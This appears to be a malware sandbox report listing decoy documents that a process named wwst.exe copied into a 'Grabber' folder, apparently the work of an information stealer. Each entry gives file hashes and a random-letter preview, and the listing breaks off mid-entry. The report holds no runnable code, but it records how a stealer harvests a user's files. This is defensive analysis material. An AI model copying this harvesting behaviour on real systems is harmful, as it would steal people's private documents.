File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT\EWZCVGNOWT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT\GIGIYTFFYT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT\CZQKSDDMWR.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT\GIGIYTFFYT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
